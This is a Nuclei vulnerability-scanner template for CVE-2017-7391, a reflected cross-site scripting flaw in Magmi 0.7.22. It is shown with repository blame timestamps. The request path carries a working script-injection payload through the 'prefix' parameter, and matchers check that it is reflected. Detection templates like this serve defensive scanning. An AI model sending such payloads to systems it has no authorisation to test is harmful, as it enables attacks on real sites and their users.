nuclei-templates/http/cves/2017/CVE-2017-7391.yaml

42 lines
1.2 KiB
YAML
Raw Normal View History

2021-01-02 05:02:50 +00:00
id: CVE-2017-7391
2020-09-03 03:32:29 +00:00
info:
name: Magmi 0.7.22 - Cross-Site Scripting
2020-09-03 03:32:29 +00:00
author: pikpikcu
severity: medium
description: Magmi 0.7.22 contains a cross-site scripting vulnerability due to insufficient filtration of user-supplied data (prefix) passed to the magmi-git-master/magmi/web/ajax_gettime.php URL.
reference:
- https://github.com/dweeves/magmi-git/issues/522
- https://github.com/dweeves/magmi-git/releases/download/0.7.22/magmi_full_0.7.22.zip
- https://github.com/dweeves/magmi-git/pull/525
- https://nvd.nist.gov/vuln/detail/CVE-2017-7391
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2017-7391
cwe-id: CWE-79
tags: cve,cve2017,magmi,xss
metadata:
max-request: 1
2020-09-03 03:32:29 +00:00
http:
2020-09-03 03:32:29 +00:00
- method: GET
path:
- "{{BaseURL}}/magmi/web/ajax_gettime.php?prefix=%22%3E%3Cscript%3Ealert(document.domain);%3C/script%3E%3C"
matchers-condition: and
matchers:
- type: status
status:
- 200
2022-01-26 12:07:19 +00:00
2020-09-03 03:32:29 +00:00
- type: word
2022-01-26 12:07:19 +00:00
part: body
2020-09-03 03:32:29 +00:00
words:
- '"><script>alert(document.domain);</script><'
- type: word
2022-01-26 12:07:19 +00:00
part: header
words:
- "text/html"